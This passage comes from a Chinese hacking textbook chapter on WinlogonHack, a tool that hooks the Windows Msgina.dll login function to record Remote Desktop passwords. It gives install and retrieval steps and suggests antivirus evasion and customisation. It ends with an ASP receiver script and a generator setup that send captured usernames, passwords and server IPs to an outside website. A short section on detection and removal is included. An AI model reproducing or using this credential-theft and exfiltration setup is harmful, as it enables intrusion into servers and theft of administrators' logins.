- 網絡攻防實戰研究:漏洞利用與提權
- 祝烈煌
- 3009字
- 2019-11-18 15:09:34
2.5 使用WinlogonHack獲取系統密碼
在網絡安全事件頻發的今天,很多人都在抱怨:為什么我的系統被入侵了,我的主頁被修改了?在被入侵后,我采取了一些安全加固措施,可是沒過幾天又發現系統被入侵了!分析根本原因,就是系統中仍然存在安全隱患,可能是沒有徹底清除系統后門,也可能是系統的密碼一直都掌握在黑客手中。本節將全面分析遠程終端密碼的截取和防范。
2.5.1 遠程終端密碼泄露分析
1.遠程終端技術
大型企業一般都部署了遠程終端,在微軟的服務器操作系統Windows Server 2008中更是重點打造了遠程終端。終端服務器遠程APP是Windows Server 2008中新的遠程應用演示方法。在遠程連接的一些參數上進行了調整,增加了一些新的功能,據說性能也有較大的提高。
2.遠程終端密碼泄露分析
在大型網絡中,由于網絡環境復雜,因此服務器之間往往通過遠程終端來維護和管理。這種管理的方向不太固定,多是發散的,有的可能通過一臺主機登錄多臺主機,有的可能通過多臺主機登錄同一臺主機,也可能是交叉登錄。黑客在入侵網絡中的一臺主機后,肯定會想辦法收集網絡內部或者與外部獨立主機之間的遠程終端登錄用戶名和密碼,收集方法不外乎以下3種。
·使用GetHashes、PwDump等工具獲取系統的Hash密碼值,然后通過LC5及彩虹表來破解,破解成功后得到系統密碼(這些密碼極有可能是遠程終端的密碼)。
·在被控制計算機上安裝鍵盤記錄,通過鍵盤記錄來獲取用戶在登錄3389遠程終端過程中輸入的用戶名和密碼。這種方法有一定的限制,鍵盤記錄在遠程終端窗口最大化時有可能無法記錄遠程終端的登錄密碼。
·使用WinlogonHack工具軟件截取遠程登錄時輸入的正確密碼(這也是本節要重點介紹的)。
當然,除了以上3種方法外,還有其他泄露途徑。
2.5.2 WinlogonHack截取密碼原理
1.Gina.dll與Msgina.dll
在Windows NT/2000中,交互式的登錄支持是由Winlogon調用Gina.dll實現的。Gina.dll提供了一個交互式的界面,為用戶登錄提供認證請求。Winlogon會和Gina.dll進行交互,默認是Msgina.dll(在System32目錄下)。微軟也為我們提供了接口,我們可以自己編寫Gina.dll來代替Msgina.dll。
不知道是什么原因,微軟的Gina.dll在Windows XP及后續版本中都不再出現,原來的Gina.dll改為Msgina.dll。Msgina.dll在Windows XP中默認大小為967680字節(945KB),在Windows Server 2003中其大小為1180672字節(1153KB)。如果不是這個大小,估計就有問題了。
2.Msgina.dll文件被損壞和修改將導致嚴重的錯誤
DLL知識庫(http://www.dofile.com/dlllibrary/msgina/)中是這樣描述的:Msgina.dll是Windows登錄認證策略相關模塊,該模塊用于完成所有的用戶登錄和驗證功能。如果系統中的這個文件被修改或者破壞,將導致系統無法使用3389端口登錄。如圖2-40所示,這個系統的Msgina.dll文件被破壞了,導致用戶無法遠程登錄3389終端服務器。

圖2-40 Msgina.dll損壞或者被修改導致無法遠程登錄
3.WinlogonHack截取密碼的原理
WinlogonHack通過掛鉤系統中Msgina.dll的WlxLoggedOutSAS函數記錄登錄的賬戶密碼。WinlogonHack初始化時會創建如下3個桌面。
· WinlogonHack桌面:主要顯示Windows安全等界面,例如按下“Ctrl+Alt+Del”快捷鍵所出現的登錄界面等。
·應用程序桌面:用戶平時見到的計算機桌面。
·屏幕保護桌面:屏幕保護顯示界面。
在默認情況下,Gina.dll或者Msgina.dll顯示登錄對話框,供用戶輸入用戶名及密碼。所以,要想獲得用戶名和密碼,可以寫一個新的Gina.dll或者Msgina.dll,其中提供接口調用Msgina.dll的函數是WlxLoggedOutSAS。在啟動時可以使用WinlogonHack通知包,當有3389連上服務器時,新建的winlogon.exe會在登錄前加載注冊了“Startup”的dll并Hook函數。登錄成功后,將密碼記錄到boot.dat文件中并取消Hook。退出3389后,即可刪除dll文件。在實現上,只需要Msgina.dll中WlxLoggedOutSAS函數的前5字節,命令如下。
mov edi, edi push ebp mov ebp, esp
2.5.3 使用WinlogonHack獲取密碼實例
在WinlogonHack之前有一個Gina木馬,主要用于截取Windows 2000下的密碼。WinlogonHack主要用于截取Windows XP及Windows Server 2003下的密碼。
1.執行install.bat安裝腳本
一種方法是將WinlogonHack的安裝程序文件Hookmsgina.dll、install.bat、On.reg及ReadLog.bat復制到一個相同的文件夾下,然后在DOS提示符或者GUI界面直接運行install.bat。執行完畢,不要重啟,當有3389登錄時自動加載DLL并記錄登錄密碼,密碼保存在系統system32目錄的boot.dat文件中。另外一種方法是將所有的文件都放在同一個文件夾中,然后執行install命令。如圖2-41所示為安裝正確的一些提示。

圖2-41 遠程安裝WinlogonHack軟件截取3389登錄密碼
2.查看密碼記錄
可以直接打開boot.dat文件查看,也可以運行ReadLog.bat腳本,移動密碼文件到當前目錄中查看。本例中的操作系統是Windows Server 2003,直接通過Radmin的Telnet執行“dir boot.dat/a”命令,查看是否有遠程登錄。如圖2-42所示,boot.dat大小為5762字節。使用“type boot.dat”命令可以看到登錄時間、用戶、域名、密碼及舊密碼(顯示兩個密碼主要用于用戶更改了密碼的情況)。

圖2-42 查看密碼記錄boot.dat文件
3.卸載WinlogonHack
運行Uninstall.bat即可自動卸載該程序。如果%systemroot%\system32\wminotify.dll文件未能刪除,可以在重啟后將其刪除。
2.5.4 攻擊與防范方法探討
1.攻擊方法探討
(1)定制化開發
WinlogonHack的代碼是開源的,因此攻擊者可以定制它,即在“lstrcat( LogPath , "\\boot.dat"); ”中將boot.dat換成其他文件,執行WinlogonHack后,一般人員很難發覺。攻擊者還可以在此基礎上增加一個郵件發送功能,將記錄下來的3389遠程終端用戶名和密碼發送到指定的郵箱,筆者在進行安全加固的過程中就曾經碰到具有這種功能的3389密碼截取木馬軟件。
(2)對WinlogonHack進行免殺處理
由于WinlogonHack工具軟件在網絡入侵中扮演了一個重要的輔助角色,因此一些厲害的殺毒軟件會自動查殺wminotify.dll文件。如圖2-43所示,筆者在做試驗時,計算機中的avast!殺毒軟件就能查出該文件,并將其作為病毒處理。因此,可以通過加花指令、修改特征碼等方法修改該文件,使其能夠繞過殺毒軟件。

圖2-43 殺毒軟件會自動查殺wminotify.dll文件
(3)WinlogonHack在攻擊中的應用
WinlogonHack工具軟件主要用于截取3389登錄密碼,因此在被入侵計算機上運行mstsc后,如果發現在mstsc的計算機地址欄中出現多個登錄IP地址,如圖2-44所示,那么在該計算機上就有安裝WinlogonHack軟件的必要(通過它來記錄在服務器上管理員所登錄的3389用戶名和密碼)。

圖2-44 獲取3389登錄地址列表
2.防范方法探討
在系統目錄中查找“wminotify.dll”文件,如果發現存在這個文件,則說明系統中一定安裝了WinlogonHack工具。可以通過登錄一個3389終端來測試系統目錄下是否存在boot.dat文件,如果存在,則可以嘗試使用Uninstall.bat批處理來卸載它;如果不能卸載,可以在重啟后再次卸載。
直接到注冊表的鍵值HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Current Version\Winlogon\Notify\wminotify下查看,如果存在,則將其刪除。
定制的WinlogonHack較難根除,一個好辦法是在安全狀態下進行一次文件名稱列表備份,以后每次檢測系統時比較系統目前狀態下文件列表的異同。
如果使用3389遠程終端登錄多臺服務器進行管理,最好在管理完畢后及時清除3389登錄地址列表。
殺毒軟件在一定程度上能夠防范一些已知的病毒,因此,要勤殺毒、勤看日志,在確認系統被入侵后,一定要仔細、徹底地做一次系統安全檢測。
2.5.5 自動獲取并發送密碼到指定網站
1.配置Winlogon劫持記錄3389密碼生成器
互聯網上有很多Winlogon劫持記錄3389密碼生成器,如圖2-45所示,運行其配置程序,在“收密碼地”文本框中輸入網站或網頁文件地址,例如“http://www.asm32.cn/post.asp”,其中post.asp為密碼接收文件。單擊“生成”按鈕后,會在當前目錄下生成一個exe文件,該文件中包含Winlogon的所有安裝文件。

圖2-45 配置網站接收文件地址
2.上傳密碼接收文件
將以下代碼保存為3389.asp,將其放置在一個可以訪問的網站目錄下,同時必須設置3389.asp具備寫文件權限,代碼如下。
<% Dim ValidEntry ValidEntry = True If not IsEmpty(Session("LogIn")) then ValidEntry = False If ValidEntry Then Const ForAppending = 8 Const Create = true Dim FSO DIM TS DIM MyFileName 'Dim strLog Dim strTime, strUrl, strOporation, strUserAgent MyFileName = Server.MapPath("myIP.txt") Set FSO = Server.CreateObject("Scripting.FileSystemObject") Set TS = FSO.OpenTextFile(MyFileName, ForAppending, Create) strUrl=Request.ServerVariables("REMOTE_ADDR") & " " Ts.writeline "----分割線----" Ts.writeline "服務器IP:"&strUrl Session("LogIn") = "yes" Set TS = Nothing Set FSO = Nothing End If num=request("user") pass=request("pass") hxip=request("ip") set fs=server.CreateObject("Scripting.FileSystemObject") set file=fs.OpenTextFile(server.MapPath("IP.txt"),8, True) if hxip <>"" then file.writeline num+"----"+pass+"----ip:"+hxip else file.writeline num+"----"+pass end if file.close set file=nothing set fs=nothing %>
3.查看本地密碼記錄文件
在測試服務器上執行exe文件。特別提醒:所有生成的exe文件最好在虛擬機中運行,網上的軟件有可能捆綁了木馬程序,通過虛擬機來測試不會給實體機帶來損失。
執行exe文件后,需要打開mstsc.exe(即遠程終端登錄),登錄127.0.0.1。登錄成功后,到c:\windows\system32\下使用“dir/od”命令,即可看到Winlogon劫持記錄3389密碼生成器所釋放的4個程序:install.bat、wminotify.dll、On.reg、wpa.dbl。使用“type boot.dat”命令即可查看3389記錄的密碼及發送記錄,如圖2-46所示。

圖2-46 獲取密碼記錄
4.查看網站記錄文件
到網頁記錄文件所在服務器,直接打開ip.txt或者使用類似http://www.antian365.com/ip.txt的地址進行訪問,如圖2-47所示,會記錄遠程終端服務器IP地址、用戶名及密碼信息。

圖2-47 查看網站密碼記錄文件